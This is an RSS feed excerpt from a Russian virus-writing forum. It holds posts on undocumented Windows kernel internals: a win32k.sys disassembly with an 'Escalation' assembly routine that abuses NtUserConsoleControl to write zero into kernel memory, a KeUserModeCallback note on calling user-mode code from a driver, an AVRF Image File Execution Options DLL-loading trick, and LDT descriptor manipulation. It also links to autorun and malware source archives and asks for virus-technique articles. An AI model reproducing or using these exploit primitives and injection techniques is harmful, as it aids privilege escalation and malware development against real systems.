    [...]</code></pre></div><p>Внутренние csrss теневые сервисы проверяют PID вызывающего процесса&nbsp; с PID csrss, хранящимся в переменной CsrProcessId:</p><div class="codebox"><pre><code>NtUserNotifyProcessCreate:
    mov edi,edi
    push ebp
    mov ebp,esp
    push esi
    call win32k_.00010A3A
    call PsGetCurrentProcess
    cmp eax,dword ptr [&lt;CsrProcessId&gt;]
    jnz short win32k.000F5A3A    ;Возвращает STATUS_ACCESS_DENIED
    [...]</code></pre></div><p>Тоесть эти сервисы доступны только в контексте csrss. Пример:<br /><strong>[Win32k.sys]</strong><br />OS:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XPSP2(5.1.2600.2180)<br />OptionalHeader.ImageBase:&nbsp; &nbsp; 0x10000<br />CsrProcessId variable RVA:&nbsp; &nbsp; (0x1B6DA4 - 0x10000)</p><p><strong>[Shadow SST]</strong><br />Section:&nbsp; &nbsp; .data<br />RVA:&nbsp; &nbsp; &nbsp; &nbsp; (0x1A7600 - 0x10000)</p><p><strong>[NtUserConsoleControl]</strong><br />Service number:&nbsp; &nbsp; &nbsp; &nbsp; 0x114E<br />Offset in SST:&nbsp; &nbsp; &nbsp; &nbsp; 0x14E * 4 = 0x538<br />Handler RVA:&nbsp; &nbsp; &nbsp; &nbsp; (0xF5400 - 0x10000)</p><div class="codebox"><pre><code>000F5400 &lt;NtUserConsoleControl&gt;             mov edi,edi
000F5402                                    push ebp
000F5403                                    mov ebp,esp
000F5405                                    push esi
000F5406                                    call win32k_.00010A3A
000F540B                                    call dword ptr [&lt;&amp;ntoskrnl.PsGetCurrentProcess&gt;]
000F5411                                    cmp eax,dword ptr [&lt;CsrProcessId&gt;]
000F5417                                    jnz short win32k_.000F5435
000F5419                                    push dword ptr [ebp+10]    ;Parameter2
000F541C                                    push dword ptr [ebp+C]    ;Parameter1
000F541F                                    push dword ptr [ebp+8]    ;Infoclass[0%9]
000F5422                                    call win32k_.00010517
000F5427                                    mov esi,eax
000F5429                                    call win32k_.00010A66
000F542E                                    mov eax,esi
000F5430                                    pop esi
000F5431                                    pop ebp
000F5432                                    ret 0C
000F5435                                    mov esi,C0000022    ;STATUS_ACCESS_DENIED
000F543A                                    jmp short win32k_.000F5429

00010517                                    mov edi,edi
00010519                                    push ebp
0001051A                                    mov ebp,esp
0001051C                                    push ecx
0001051D                                    push ecx
0001051E                                    mov eax,dword ptr [ebp+8]
00010521                                    cmp eax,9                                                 ;  Switch (cases 0..9)
00010524                                    push ebx
00010525                                    push esi
00010526                                    push edi
00010527                                    ja win32k_.000F550D
0001052D                                    jmp win32k_.000F5517

000F550D                                    mov eax,C0000003      ;STATUS_INVALID_INFO_CLASS
000F5512                                    jmp win32k_.000F565A

000F565A                                    pop edi
000F565B                                    pop esi
000F565C                                    pop ebx
000F565D                                    leave
000F565E                                    ret 0C

000F5517                                    jmp dword ptr [eax*4+F551E]
000F551E                                    dd win32k_.000F5546                                       ;  Switch table used at 000F5517
000F5522                                    dd win32k_.000F564C
000F5526                                    dd win32k_.000F550D
000F552A                                    dd win32k_.000F54BE
000F552E                                    dd win32k_.000F5642
000F5532                                    dd win32k_.000F54CB
000F5536                                    dd win32k_.000F54DC
000F553A                                    dd win32k_.000F55A0    ;&lt;---
000F553E                                    dd win32k_.000F54EE
000F5542                                    dd win32k_.000F5500

[InfoClass #7]
000F55A0                                    mov esi,dword ptr [ebp+C]    ;Parameter1
000F55A3                                    mov ecx,dword ptr [esi]
000F55A5                                    xor ebx,ebx
000F55A7                                    push ebx
000F55A8                                    mov dword ptr [esi+C],ebx
000F55AB                                    mov eax,dword ptr [&lt;&amp;ntoskrnl.ExDesktopObjectType&gt;]
000F55B0                                    mov eax,dword ptr [eax]
000F55B2                                    lea edx,dword ptr [ebp+8]
000F55B5                                    push edx
000F55B6                                    push 1
000F55B8                                    push eax
000F55B9                                    push ebx
000F55BA                                    push ecx
000F55BB                                    call dword ptr [&lt;&amp;ntoskrnl.ObReferenceObjectByHandle&gt;]    ;  ntoskrnl.ObReferenceObjectByHandle
000F55C1                                    cmp eax,ebx
000F55C3                                    mov edi,dword ptr [ebp+8]
000F55C6                                    mov dword ptr [ebp-8],edi
000F55C9                                    jl win32k_.000F565A</code></pre></div><p>[Parameter1]<br />{<br />0x00&nbsp; &nbsp; IN HANDLE DesktopHandle,&nbsp; &nbsp; ;ObReferenceObjectByHandle() -&gt; STATUS_INVALID_HANDLE<br />0x04&nbsp; &nbsp; XX DWORD Undefined1,<br />0x08&nbsp; &nbsp; XX DWORD Undefined2,<br />0x0C&nbsp; &nbsp; OUT DWORD WriteToZero<br />}</p><p><strong>[Escalation]</strong></p><div class="codebox"><pre><code>SERVICE_DATA struct
DesktopHandle    HANDLE ?
Undefined1    DWORD ?
Undefined2    DWORD ?
WriteToZero    DWORD ?
SERVICE_DATA ends
PSERVICE_DATA typedef ptr SERVICE_DATA

;Write zero to ServiceData + 0xC if invalid DesktopHandle
CsrWriteZeroToKernelMemory proc ServiceData:PSERVICE_DATA
    push NULL    ;Reserved
    push ServiceData
    push 7        ;Infoclass
    mov eax,114eh    ;NtUserConsoleControl
    mov edx,esp
    int 2eh
    cmp eax,STATUS_INVALID_HANDLE
    lea esp,[esp + 3*4]
    setz al
    movzx eax,al    ;BOOLEAN
    ret
CsrWriteZeroToKernelMemory endp</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (n0name)]]></author>
			<pubDate>Tue, 16 Feb 2010 08:49:57 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=7&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Авторан на халяву]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=125&amp;action=new</link>
			<description><![CDATA[<p>Обсуждение статьи <strong>Авторан на халяву</strong>(онлайн версия в процессе доработки) © FreeMan</p><p><a href="http://files.virustech.org/release/autorundoc/autorun_doc_03.01.2010.rar"><strong>Скачать оффлайн версию</strong></a></p>]]></description>
			<author><![CDATA[dummy@example.com (ZUNAmi777)]]></author>
			<pubDate>Sun, 07 Feb 2010 07:04:16 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=125&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Официальный блог virustech.org]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=73&amp;action=new</link>
			<description><![CDATA[<p>Для тех кто ещё не заметил, на днях был открыт официальный блог virustech.org,<br />который можно увидеть зайдя на основную страницу сайта (<a href="http://www.virustech.org/">http://www.virustech.org/</a>)</p><p>Вся важная информация описана в первом посте блога. Жду ваших комментариев/предложений по описанной теме.</p>]]></description>
			<author><![CDATA[dummy@example.com (LeFF)]]></author>
			<pubDate>Wed, 03 Feb 2010 18:15:20 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=73&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Обсуждение журнала от проектов VirusTech и EOF]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=110&amp;action=new</link>
			<description><![CDATA[<p>С огромным запозданием... но всёравно... процетирую пост в блоге.<br /></p><div class="quotebox"><blockquote><p>День добрый, товарищи!<br />Спешу сообщить вам хорошую новость.</p><p>Проекты VirusTech и EOF объявляют о создании нового электронного журнала.<br />Журнал будет выходить на двух языках: русском и английском.<br />Требования к статьям при отборе будут жесткие, во внимание будет браться актуальность тем и конечно же их содержание.<br />Также можете присылать свои исходники, если исходник будет интересный, то мы обязательно его опубликуем в журнале.</p><p>В статьях старайтесь грамотно описывать свои мысли, в исходниках как можно лучше описывайте участки кода комментариями.</p><p>Важно: по тематике, статьи должны хоть как то относиться к вирусным технологиям, будь то туториалы для новичков, исходники, статьи о reverse engineering, нулевом кольце, криптографии и т.д.</p><p>Ещё один важный момент, старайтесь писать о том, о чем никто ещё не писал, если напишите то, что уже написано по сто раз, редакторы это просто не пропустят в выпуск.</p><p>Ваши статьи (в формате plaintext) и исходники отправляйте на адрес</p><p>“magazine|собака|virustech|точка|org”</p><p>Спасибо !</p></blockquote></div>]]></description>
			<author><![CDATA[dummy@example.com (admin)]]></author>
			<pubDate>Tue, 02 Feb 2010 15:54:23 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=110&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[29A. ZOMBiE, Vecna, etc..]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=66&amp;action=new</link>
			<description><![CDATA[<p>Читал IRC логи этой группы, тут в архивах есть <a href="http://www.flavioweb.it/public/cms/viewpage.php?page_id=15">http://www.flavioweb.it/public/cms/view &#133; page_id=15</a><br />На данный момент активна ли эта группа ?</p>]]></description>
			<author><![CDATA[dummy@example.com (DobriyDedushka)]]></author>
			<pubDate>Thu, 21 Jan 2010 20:37:04 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=66&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Правда о KeUserModeCallback()]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=38&amp;action=new</link>
			<description><![CDATA[<p>Это даже не статья, а маленькая заметочка. Заметочка на тему избитой всеми функции KeUserModeCallback(). Избитой потому, что многие о ней слышали, многие знают для чего она используется и как примерно работает, но вот рабочего кода, полноценно ее использующего, почти ни кто так и не выдал. Тому есть несколько причин, но обо всем по порядку…</p><p>Функция эта умеет вызывать код третьего кольца из режима ядра. Причем делает это быстрее всех других известных методов, таких, например, как APC. И хотя последний является практически единственным документированным, более универсальным решением, KeUserModeCallback() однозначно могла бы занять свою нишу среди используемых в ядре технологий. Даже в целых двух отраслях – это непосредственная передача данных на обработку от драйвера к приложению или просто передача управления юзермодному коду. Надо заметить, в первом случае приложению не требуется ждать от драйвера уведомления о появлении новых данных или постоянно опрашивать его на предмет наличия таковых. Во втором же случае, как я уже говорил выше, обеспечивается максимальная скорость вызова. Но это все плюсы, а есть еще и минусы.</p><p>Во-первых, её можно вызывать не всегда и не везде – только в контексте гуи-потока, только на IRQL равном PASSIVE_LEVEL и только если драйвер не был ранее приаттачен ни к одному процессу. В системе вызовы KeUserModeCallback() используются драйвером win32k.sys для быстрого обмена информацией с сервером графической подсистемы, а так же для вызова оконных процедур и процедур хуков, тех, что ставятся с помощью NtUserSetWindowsHookEx/AW. Во-вторых, функция эта официально не документирована Microsoft. Кроме как в проекте Windows Research Kernel, в варезных исходниках Windows, позаимствованных у корпорации, да в дизассемблерном листинге ядра, почерпнуть толковой информации о ней практически негде. На удивление, поиск в Google выдает на первых строчках ссылки, ведущие к абсолютно антисистемной статье, не в обиду ее автору будет сказано, лежащей на wasm.ru, и не имеющей прямого отношения ни к KeUserModeCallback(), ни к вызову пользовательского кода из нулевого кольца. Aquila, каким образом ее пропустила цензура? Короче говоря, пора бы внести в это дело ясность.<br />Функция экспортируется из модуля ntoskrnl.exe и имеет следующий прототип:<br /></p><div class="codebox"><pre><code>NTSTATUS
KeUserModeCallback (
    IN ULONG ApiNumber,
    IN PVOID InputBuffer,
    IN ULONG InputLength,
    OUT PVOID *OutputBuffer,
    IN PULONG OutputLength
    );</code></pre></div><p>Думаю с четырьмя последними параметрами все ясно, например, InputBuffer указывает на входные данные, которые будут скопированы на стек потока еще до того, как он перейдет в пользовательский режим. InputLength, соответственно, задает размер этих данных в байтах. Неясным поначалу остается первый параметр, который по логике вещей должен был бы быть указателем на исполняемый код. Но нет, наши братья из Microsoft в очередной раз решили не идти легким путем, и сделали вызов через таблицу, имя которой KernelCallbackTable. В ней лежат указатели на некие функции внутри user32.dll, прототип которых мы рассмотрим позже. Параметр ApiNumber есть ни что иное, как индекс в этой таблице. Неужели разработчики хотели таким образом ограничить количество адресов, по которым возможно будет передавать управление? Тогда почему в коде KiUserCallbackDispatcher() – функции, которая первая принимает бразды правления из ядра и делает вызов процедуры по индексу – нет ни единой проверки вхождения индекса в границы KernelCallbackTable? На самом деле сами границы тоже нигде не обозначены, нам ни что не помешает скормить абсолютно левое значение ApiNumber функции KeUserModeCallback() – она спокойно передаст управление в юзермод, а там KiUserCallbackDispatcher() помножит его на размер двойного слова, возьмет по полученному смещению от начала таблицы указатель и произведет вызов. Смотрите сами в код из ntdll.dll:<br /></p><div class="codebox"><pre><code>.text:7C90EAD0 _KiUserCallbackDispatcher@12 proc near
.text:7C90EAD0      add     esp, 4
.text:7C90EAD3      pop     edx                ; Это индекс
.text:7C90EAD4      mov     eax, large fs:18h
.text:7C90EADA      mov     eax, [eax+30h]        ; Указатель на PEB
.text:7C90EADD      mov     eax, [eax+2Ch]        ; На таблицу
.text:7C90EAE0      call    dword ptr [eax+edx*4]; Сам вызов
.text:7C90EAE3      xor     ecx, ecx
.text:7C90EAE5      xor     edx, edx
.text:7C90EAE7      int     2Bh                ; Возврат в ядро
.text:7C90EAE9      int     3
.text:7C90EAEA      mov     edi, edi
.text:7C90EAEA _KiUserCallbackDispatcher@12 endp</code></pre></div><p>Впрочем, отсутствие проверки нам только на руку, т.к. не придется лишний раз трогать внутренности системы и перезаписывать элементы KernelCallbackTable своими указателями. Однако знать адрес этого массива нам необходимо. Как видно из листинга, его можно получить из PEB процесса по смещению 0x2C, которое одинаково во всей линейке NT вплоть до Windows Vista.</p><p>Итак, после вызова KeUserModeCallback() система запоминает указатель на стек текущего потока и сдвигает границу стека вниз на расстояние, необходимое для того, чтобы вместить передаваемые данные, а затем копирует их туда. Далее извлекает из TIB потока и запоминает указатель на последний SEH-фрейм, так как код режима пользователя может установить какие-то свои обработчики исключений. Потом следуют проверки на текущий IRQL и приаттаченность к какому-либо процессу. В случае ошибки генерируется BSOD с кодами IRQL_GT_ZERO_AT_SYSTEM_SERVICE и APC_INDEX_MISMATCH соответственно. Еще раньше BSOD может «сгенерироваться сам», если вдруг окажется, что поток не гуи – поле KTHREAD-&gt;TrapFrame в данном случае будет содержать NULL вместо валидного указателя и мы сможем лицезреть синий экран, информирующий о попытке чтения непонятно какой памяти. После производятся подготовительные работы для прыжка в юзермод с помощью KiServiceExit, а на платформе x64 с помощью sysretq. Надо заметить, что в x86 KiServiceExit так же производит проверки, о которых я говорил чуть выше. Ну что же, будем считать, что эти излишние «телодвижения» реализованы для пущей надежности, а не вследствие очередного программерского ляпа. В юзермоде, как было упомянуто ранее, управление получает KiUserCallbackDispatcher() и по индексу вызывает функцию из таблицы. Функция эта должна иметь примерно следующий вид:<br /></p><div class="codebox"><pre><code>ULONG
Ring3Code(
    PVOID lpData,
    ULONG dwDataSize);</code></pre></div><p>Первым параметром идет указатель на входные данные, вторым их размер. За этими параметрами на стеке незатейливо располагаются переданные из режима ядра байты. Процедура эта выполняется уже в юзермоде! Можем делать тут все, что душа пожелает. Я, к примеру, не стал долго думать и вызвал пресловутый MassageBox. После завершения процедуры возврат происходит обратно в KiUserCallbackDispatcher(), а от туда в ядро с помощью прерывания 0x2B. То, что эта процедура оставит в регистре eax после себя и будет возвращаемым значением KeUserModeCallback().</p><p>Для вызова кода режима пользователя нам необходимо выделить память где-нибудь пониже KernelCallbackTable (следует использовать флаг MEM_TOP_DOWN в ZwAllocateVirtualMemory), положить туда указатель на нужный код, вычесть из полученного адреса памяти указатель на начало таблицы и разделить полученное смещение на четыре. Индекс готов для использования.</p><p>На этом, пожалуй, я и закончу. Надеюсь, что изложенная здесь информация окажется интересной читателю. Исходники, как всегда, <a href="http://twister.rootkits.ru/sources/ke_user_mode_callback.rar">прилагаются</a>.</p>]]></description>
			<author><![CDATA[dummy@example.com (img)]]></author>
			<pubDate>Mon, 18 Jan 2010 23:00:32 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=38&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Прервать выполнение потока]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=124&amp;action=new</link>
			<description><![CDATA[<p>Возможно ли прервать выполнение потока из юзермода, внутри какой-либо сервисной ф-ции? Т.е. вызвали мы NtCreateThread, и на первых байтах этой ф-ции поток должен быть заморожен/прерван.<br />Для шадоу ф-ций есть вариант установки флага трассировки, тогда вероятно(непроверял) произойдет исключение в юзермоде на первой инструкции KiUserCallbackDispatcher.<br />Для нетеневых ф-ций такой вариант не прокатит, т.к. исключение будет поймано лишь при выходе из сервиса. Также скорее всего не пройдет установка внутри нашего потока hb.<br />Вобщем любые идеи будет интересно выслушать...</p>]]></description>
			<author><![CDATA[dummy@example.com (FreeMan)]]></author>
			<pubDate>Mon, 14 Dec 2009 07:32:28 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=124&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[AVRF]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=123&amp;action=new</link>
			<description><![CDATA[<p>Загрузка модуля как провайдера(\Image File Execution Options\, &quot;GlobalFlag&quot;=&quot;0x02000100&quot;, &quot;VerifierDlls&quot;=&quot;xx.dll&quot;).<br /><a href="http://files.virustech.org/indy/Code/Avrf/">http://files.virustech.org/indy/Code/Avrf/</a></p>]]></description>
			<author><![CDATA[dummy@example.com (Indy)]]></author>
			<pubDate>Sun, 04 Oct 2009 19:12:12 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=123&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[KiGetTickCount -> LDT]]></title>
			<link>http://virustech.org/f/viewtopic.php?id=122&amp;action=new</link>
			<description><![CDATA[<p>Если значение регистра <strong>Cs</strong> отлично от <strong>0x1B</strong>(<strong>KGDT_R3_CODE | RPL_MASK</strong>), то прерывание <strong>0x2A</strong> сводится к вызову <strong>NtSetLdtEntries</strong>:<br /></p><div class="codebox"><pre><code>KiGetTickCount:
    ...
        push    0                       ; push dummy error code
        ENTER_TRAP      kitx_a, kitx_t
        sti
        xor     eax, eax
        mov     ebx, [ebp+TsEbx]
        mov     ecx, [ebp+TsEcx]
        mov     edx, [ebp+TsEdx]
        stdCall _NtSetLdtEntries &lt;ebx, ecx, edx, eax, eax, eax&gt;
        mov     [ebp+TsEax], eax
        and     dword ptr [ebp+TsEflags], 0FFFFFFFEH ; clear carry flag
        cmp     eax, 0                  ; success?
        je      short ktgc10
        or      dword ptr [ebp+TsEflags], 1 ; set carry flag
ktgc10:
        jmp     _KiExceptionExit</code></pre></div><p>Следующий макрос создаёт дескриптор в лдт:<br /></p><div class="codebox"><pre><code>CREATE_DESCRIPTOR macro Base, Limit
    mov eax,Base
    mov edx,Limit
    mov ecx,eax
    and edx,0F0000H
    shr eax,16
    and ecx,0FF000000h
    and eax,0FFH
    lea edx,[eax + edx + 100H * 11111000B + 100000H * 1100B]    ; Type 100B - code.
    or edx,ecx
    mov eax,Limit
    mov ecx,Base
    and eax,0FFFFH
    shl ecx,16
    lea ecx,[ecx + eax]
; Edx:Ecx
endm

CREATE_LDT_ENTRY macro Selector, Base, Limit
    push ebp
    push ebx
    CREATE_DESCRIPTOR Base, Limit    ; Edx:Ecx
    mov ebp,0F0F0F0F1H
    mov ebx,Selector
    mov eax,ebp
; Eax = Ebp = 0xF0F0F0F1
    Int 2AH    ; KiGetTickCount
; Eax = NTSTATUS
; CF = 0 - STATUS_SUCCESS
    pop ebx
    pop ebp
endm

; Вызов:
TABLE_MASK    equ 100B
    ...
    CREATE_LDT_ENTRY Selector or TABLE_MASK, Base, Limit</code></pre></div><p>Неприятная особенность - нет способа изменить селектор кодового сегмента без вызова <strong>NtSetLdtEntries</strong>/<strong>ProcessLdtInformation</strong>. <strong>Retf</strong> позволяет загрузить теневую часть регистра, но вызов прерывания сбросит её&nbsp; <img src="http://virustech.org/f/img/smilies/sad.png" width="15" height="15" alt="sad" /></p>]]></description>
			<author><![CDATA[dummy@example.com (Indy)]]></author>
			<pubDate>Sun, 04 Oct 2009 13:48:14 +0000</pubDate>
			<guid>http://virustech.org/f/viewtopic.php?id=122&amp;action=new</guid>
		</item>
	</channel>
</rss>
